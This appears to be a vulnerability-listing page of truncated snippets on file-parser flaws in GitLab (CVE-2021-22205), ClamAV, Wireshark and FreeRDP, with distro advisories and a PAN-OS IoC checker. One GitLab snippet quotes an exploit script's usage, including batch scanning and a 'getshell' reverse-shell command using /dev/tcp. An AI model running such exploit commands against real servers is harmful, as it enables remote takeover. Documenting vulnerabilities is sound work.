CVE-2021-22205

CVE-2021-22205 描述 - CVE-2021-22205 的 POC：Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - 由 antx 于 2021-10-29 创建。 细节 - GitLab CE/EE 自 11.9 版本起的所有版本均发现此问题。GitLab 未能正确验证传递给文件解析器的图像文件，从而导致远程命令执行。 CVE 严重性 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH -...

CVE-2021-22205

CVE-2021-22205 由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令，最终导致Gitlab服务器被控制。由于网上大多缺少反弹shell，故修改了网上写的脚本，增加了一键getshell功能 影响版本 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/EE） 13.9.6 13.10 = GitLab（CE/EE） 13.10.3 使用说明 root@kitploit: / \ \ / / | | \ / \ / | | | | \ / | | | | \ \ /...

CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 root@kitploit: python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell root@kitploit: python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/por...

CVE-2023-20052

CVE-2023-20052 CVE-2023-20052 存在于 ClamAV 的 DMG 文件解析器中的信息泄露漏洞 ClamAV 1.0.0 及更早版本、0.105.1 及更早版本以及 0.103.7 及更早版本中的 DMG 文件解析器存在一个漏洞，可能允许未经身份验证的远程攻击者访问受影响设备上的敏感信息。该漏洞是由于启用了 XML 实体替换，可能导致 XML 外部实体注入。攻击者可通过向受影响设备上的 ClamAV 提交特制的 DMG 文件进行扫描来利用此漏洞。成功利用后，攻击者可能泄露 ClamAV 扫描进程可读取的任何文件中的字节。 已在 Ubuntu 20.04 上测试...

CVE-2026-76929

A flaw was found in Wireshark. A local attacker, by enticing a user to open a specially crafted Pcapng file, could trigger an out-of-bounds read vulnerability in the Pcapng file parser. This could lead to an application crash, resulting in a denial of service. Mitigation To mitigate this...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: clamav (UTSA-2023-001071)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-001071 advisory. On Feb 15, 2023, the following vulnerability in the ClamAV scanning library was disclosed: A vulnerability in the HFS+ partition file parser of ClamAV versions 1.0.0...

CVE-2021-22205

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. Vuln Product Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

SUSE SLES15: libwireshark17 / libwiretap14 / libwsutil15 / wireshark / etc (SUSE-SU-2026:3994-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3994-1 advisory. - CVE-2026-15163: Denial of Service via multiple protocol dissector infinite loops bsc1271133. - CVE-2026-15164: Denial of Service...

GitLab CE/EE - Remote Code Execution

GitLab CE/EE starting from 11.9 does not properly validate image files that were passed to a file parser, resulting in a remote command execution vulnerability. This template attempts to passively identify vulnerable versions of GitLab without the need for an exploit by matching unique hashes for...

CVE-2021-22205

漏洞影响 在GitLab CE/EE中发现了一个问题，影响从11.9版本开始的所有版本。GitLab未能正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt...

CVE-2021-22205-gitlab

Impacto de la vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultaba en una ejecución remota de comandos. Producto...

panrapidcheck

PAN Rapid Check Simple probablemente deberías hacer esto en bash con grep verificador de archivos de soporte de PANOS que extrae algunos lugares para buscar IoCs de CVE-2024-3400 Genera el archivo de soporte desde Dispositivo - Soporte - Generar archivo de soporte técnico iocs.txt debe incluir...

GitLab-CVE-2021-22205-

漏洞影响 在GitLab CE/EE中发现了一个问题，影响所有从11.9版本开始的版本。GitLab未能正确验证传递给文件解析器的图像文件，导致了远程命令执行。 受影响版本 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 漏洞影响 即将... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205 https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html...

Astra Linux – Vulnerability in Wireshark

The Gammu DCT3 trace file parser crashes in versions 4.6.0 to 4.6.7, allowing for a denial of service attack...

Astra Linux – Vulnerability in Wireshark

The pcapng file parser in Wireshark versions 4.6.0 to 4.6.6 allows for denial of service attacks...

Astra Linux – Vulnerability in Wireshark

The K12 RF5 file parser crashes in Wireshark versions 4.6.0 to 4.6.4, and 4.4.0 to 4.4.14, causing a denial of service...

TencentOS Server 4: wireshark (TSSA-2026:0979)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0979 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities...

SUSE-SU-2026:4077-1 Security update for wireshark

This update for wireshark fixes the following issues: - CVE-2026-15163: Denial of Service via multiple protocol dissector infinite loops bsc1271133. - CVE-2026-15164: Denial of Service vulnerability in ciscodump bsc1271134. - CVE-2026-15166: Denial of Service via IEEE 802.11 protocol dissector...

Security update for wireshark

This update for wireshark fixes the following issues: CVE-2026-15163: Denial of Service via multiple protocol dissector infinite loops bsc1271133. CVE-2026-15164: Denial of Service vulnerability in ciscodump bsc1271134. CVE-2026-15167: Denial of Service via DBS Etherwatch file parser crash...

FreeRDP: FreeRDP: Arbitrary code execution via malicious RDP files

A flaw in FreeRDP's file parser incorrectly treats lines starting with a forward slash / as command-line options. If a victim opens a maliciously crafted .rdp file, an attacker can silently inject CLI flags to execute arbitrary code, expose local filesystems, or bypass certificate validation...